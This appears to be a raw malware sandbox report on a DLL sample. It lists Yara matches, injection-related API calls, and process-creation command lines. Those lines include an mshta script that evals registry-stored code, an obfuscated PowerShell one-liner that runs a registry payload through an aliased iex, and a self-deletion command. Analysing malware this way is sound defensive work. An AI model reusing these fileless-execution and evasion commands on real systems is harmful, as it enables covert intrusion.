Source: Yara match | File source: 00000002.00000003.393059229.0000000006318000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294681357.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294564948.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.408736097.0000000006318000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000022.00000003.407678456.0000016547E1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294395671.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000022.00000003.407599329.0000016547E1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294731571.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.338694096.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294789206.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 0000001A.00000003.402164003.000002456F5AC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.339835630.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294648025.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294608365.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294468322.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.340707199.000000000533C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: Process Memory Space: rundll32.exe PID: 6380, type: MEMORYSTR |
Source: Yara match | File source: Process Memory Space: powershell.exe PID: 6564, type: MEMORYSTR |
Source: Yara match | File source: Process Memory Space: control.exe PID: 2388, type: MEMORYSTR |
Source: Yara match | File source: 2.3.rundll32.exe.4d994a0.10.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.3.rundll32.exe.4d994a0.10.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.2.rundll32.exe.4a10000.0.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.3.rundll32.exe.543a4a0.0.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.3.rundll32.exe.54e6b48.1.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.3.rundll32.exe.54b94a0.2.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.3.rundll32.exe.543a4a0.0.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 00000002.00000002.454256752.00000000051BF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000002.454031315.0000000004F60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.339689659.000000000543A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000022.00000000.406864821.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000022.00000000.405146209.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000022.00000000.404521640.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.339724690.00000000054B9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.452738390.0000000004D99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.393059229.0000000006318000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294681357.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294564948.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.408736097.0000000006318000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000022.00000003.407678456.0000016547E1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294395671.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000022.00000003.407599329.0000016547E1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294731571.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.338694096.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294789206.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 0000001A.00000003.402164003.000002456F5AC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.339835630.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294648025.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294608365.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294468322.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.340707199.000000000533C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: Process Memory Space: rundll32.exe PID: 6380, type: MEMORYSTR |
Source: Yara match | File source: Process Memory Space: powershell.exe PID: 6564, type: MEMORYSTR |
Source: Yara match | File source: Process Memory Space: control.exe PID: 2388, type: MEMORYSTR |
Source: Yara match | File source: 2.3.rundll32.exe.4d994a0.10.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.3.rundll32.exe.4d994a0.10.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.2.rundll32.exe.4a10000.0.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.3.rundll32.exe.543a4a0.0.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.3.rundll32.exe.54e6b48.1.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.3.rundll32.exe.54b94a0.2.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.3.rundll32.exe.543a4a0.0.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 00000002.00000002.454256752.00000000051BF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000002.454031315.0000000004F60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.339689659.000000000543A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000022.00000000.406864821.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000022.00000000.405146209.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000022.00000000.404521640.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.339724690.00000000054B9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.452738390.0000000004D99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04A1829C |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04A11645 |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04A14BF1 |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04F83DB0 |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04F7154D |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04F7D7F1 |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04F667CA |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04F7FF4D |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04F6B238 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DAB4B8 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DAEEF8 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DA9660 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DC98A8 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DC80A8 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DC7850 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DB1864 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DB2830 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DBB9E0 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DC51A8 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DA716C |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DA5110 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DA410C |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DBE120 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DC2AD8 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DC8AC0 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DB1248 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DB4240 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DCC220 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DC73EC |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DA34D8 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DCD4D4 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DC34C0 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DB6CA4 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DCAC50 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DBC46C |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DAD404 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DA3C3C |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DC2428 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DC7DB4 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DA9D1C |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DBCD1C |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DC0530 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DBBED0 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DB2EE8 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DC5684 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DA1EA8 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DC1E5C |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DB8670 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DC1638 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DB4F5C |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DB6F78 |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DC772C |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DA572C |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04A14321 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04A16D0A NtMapViewOfSection, |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04A1190C GetProcAddress,NtCreateSection,memset, |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04A184C1 NtQueryVirtualMemory, |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04F674AE NtQueryInformationProcess, |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04F6C431 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04F76DE0 memcpy,memcpy,memcpy,NtUnmapViewOfSection,NtClose,memset, |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04F7BE80 NtMapViewOfSection, |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04F70782 memset,NtWow64QueryInformationProcess64,GetProcAddress,NtWow64QueryInformationProcess64, |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04F700DC RtlInitializeCriticalSection,RtlInitializeCriticalSection,memset,RtlInitializeCriticalSection,CreateMutexA,GetLastError,GetLastError,CloseHandle,GetUserNameA,GetUserNameA,RtlAllocateHeap,GetUserNameA,NtQueryInformationProcess,OpenProcess,GetLastError,CloseHandle,GetShellWindow,GetWindowThreadProcessId,memcpy,CreateEventA,CreateEventA,RtlAllocateHeap,OpenEventA,CreateEventA,GetLastError,LoadLibraryA,SetEvent,RtlAllocateHeap,wsprintfA, |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04F7A806 NtWow64ReadVirtualMemory64,GetProcAddress,NtWow64ReadVirtualMemory64, |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04F761AE GetProcAddress,NtWow64QueryInformationProcess64,StrRChrA, |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04F77950 NtAllocateVirtualMemory,NtAllocateVirtualMemory,RtlNtStatusToDosError,SetLastError, |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04F6710A GetProcAddress,NtCreateSection,memset, |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04F72331 GetSystemTimeAsFileTime,HeapCreate,NtQueryInformationThread,GetModuleHandleA,RtlImageNtHeader,RtlExitUserThread, |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04F75312 NtWriteVirtualMemory,VirtualProtectEx,NtWriteVirtualMemory,RtlNtStatusToDosError,SetLastError, |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04F664C4 memset,NtQueryInformationProcess, |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04F636BB NtGetContextThread,RtlNtStatusToDosError, |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04F6B7D5 NtQueryInformationThread,GetLastError,RtlNtStatusToDosError, |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04F6D77A NtQueryKey,NtQueryKey,lstrlenW,NtQueryKey,lstrcpyW, |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04F610C7 OpenProcess,GetLastError,GetProcAddress,NtSetInformationProcess,RtlNtStatusToDosError,GetProcAddress,GetProcAddress,TerminateThread,ResumeThread,CloseHandle,GetLastError,CloseHandle, |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04F73829 NtQuerySystemInformation,RtlNtStatusToDosError, |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04F7EAC5 memset,memcpy,NtSetContextThread,RtlNtStatusToDosError,GetLastError, |
Source: C:\Windows\SysWOW64\rundll32.exe | Code function: 2_2_04F75220 NtReadVirtualMemory,RtlNtStatusToDosError,SetLastError, |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DA40C0 NtReadVirtualMemory, |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DB583C NtCreateSection, |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DB41D8 NtMapViewOfSection, |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DCA148 NtQueryInformationProcess, |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DAAA6C NtSetInformationProcess,CreateRemoteThread,ResumeThread,FindCloseChangeNotification, |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DC04CC NtAllocateVirtualMemory, |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DA65E4 NtQueryInformationToken,NtQueryInformationToken,NtClose, |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DA6D24 NtWriteVirtualMemory, |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DA9660 NtSetContextThread,NtUnmapViewOfSection,NtClose, |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DDF00C NtProtectVirtualMemory,NtProtectVirtualMemory, |
Source: C:\Windows\System32\control.exe | Code function: 34_2_00DDF36C NtProtectVirtualMemory, |
Source: unknown | Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\lokvQRcUe0.dll" |
Source: C:\Windows\System32\loaddll32.exe | Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\lokvQRcUe0.dll",#1 |
Source: C:\Windows\SysWOW64\cmd.exe | Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\lokvQRcUe0.dll",#1 |
Source: C:\Windows\System32\loaddll32.exe | Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6352 -s 272 |
Source: C:\Windows\System32\loaddll32.exe | Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6352 -s 396 |
Source: C:\Windows\System32\loaddll32.exe | Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6352 -s 424 |
Source: unknown | Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe" "about:<hta:application><script>Kxac='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Kxac).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script> |
Source: C:\Windows\System32\mshta.exe | Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ltqefvure -value gp; new-alias -name vftdnxvda -value iex; vftdnxvda ([System.Text.Encoding]::ASCII.GetString((ltqefvure "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\b5khtopv.cmdline |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESE691.tmp" "c:\Users\user\AppData\Local\Temp\CSC7CF5F35C720441118B71E863AB44B87A.TMP" |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\kikzslfg.cmdline |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESFE5F.tmp" "c:\Users\user\AppData\Local\Temp\CSC72CD5E3A7BFC47C08453C5B847B47E88.TMP" |
Source: C:\Windows\SysWOW64\rundll32.exe | Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h |
Source: C:\Windows\explorer.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\lokvQRcUe0.dll |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 |
Source: C:\Windows\System32\loaddll32.exe | Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\lokvQRcUe0.dll",#1 |
Source: C:\Windows\SysWOW64\cmd.exe | Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\lokvQRcUe0.dll",#1 |
Source: C:\Windows\SysWOW64\rundll32.exe | Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h |
Source: C:\Windows\System32\mshta.exe | Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ltqefvure -value gp; new-alias -name vftdnxvda -value iex; vftdnxvda ([System.Text.Encoding]::ASCII.GetString((ltqefvure "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\b5khtopv.cmdline |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\kikzslfg.cmdline |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESE691.tmp" "c:\Users\user\AppData\Local\Temp\CSC7CF5F35C720441118B71E863AB44B87A.TMP" |
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESFE5F.tmp" "c:\Users\user\AppData\Local\Temp\CSC72CD5E3A7BFC47C08453C5B847B47E88.TMP" |
Source: C:\Windows\explorer.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\lokvQRcUe0.dll |
Source: C:\Windows\explorer.exe | Process created: unknown unknown |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown |
Source: Yara match | File source: 00000002.00000003.393059229.0000000006318000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294681357.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294564948.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.408736097.0000000006318000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000022.00000003.407678456.0000016547E1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294395671.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000022.00000003.407599329.0000016547E1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294731571.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.338694096.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294789206.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 0000001A.00000003.402164003.000002456F5AC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.339835630.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294648025.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294608365.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.294468322.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.340707199.000000000533C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: Process Memory Space: rundll32.exe PID: 6380, type: MEMORYSTR |
Source: Yara match | File source: Process Memory Space: powershell.exe PID: 6564, type: MEMORYSTR |
Source: Yara match | File source: Process Memory Space: control.exe PID: 2388, type: MEMORYSTR |
Source: Yara match | File source: 2.3.rundll32.exe.4d994a0.10.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.3.rundll32.exe.4d994a0.10.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.2.rundll32.exe.4a10000.0.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.3.rundll32.exe.543a4a0.0.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.3.rundll32.exe.54e6b48.1.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.3.rundll32.exe.54b94a0.2.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 2.3.rundll32.exe.543a4a0.0.raw.unpack, type: UNPACKEDPE |
Source: Yara match | File source: 00000002.00000002.454256752.00000000051BF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000002.454031315.0000000004F60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.339689659.000000000543A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000022.00000000.406864821.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000022.00000000.405146209.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000022.00000000.404521640.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.339724690.00000000054B9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match | File source: 00000002.00000003.452738390.0000000004D99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY |
Source: C:\Windows\SysWOW64\rundll32.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\rundll32.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\rundll32.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\rundll32.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\rundll32.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\rundll32.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\rundll32.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
Source: C:\Windows\SysWOW64\WerFault.exe | Process information set: NOOPENFILEERRORBOX |
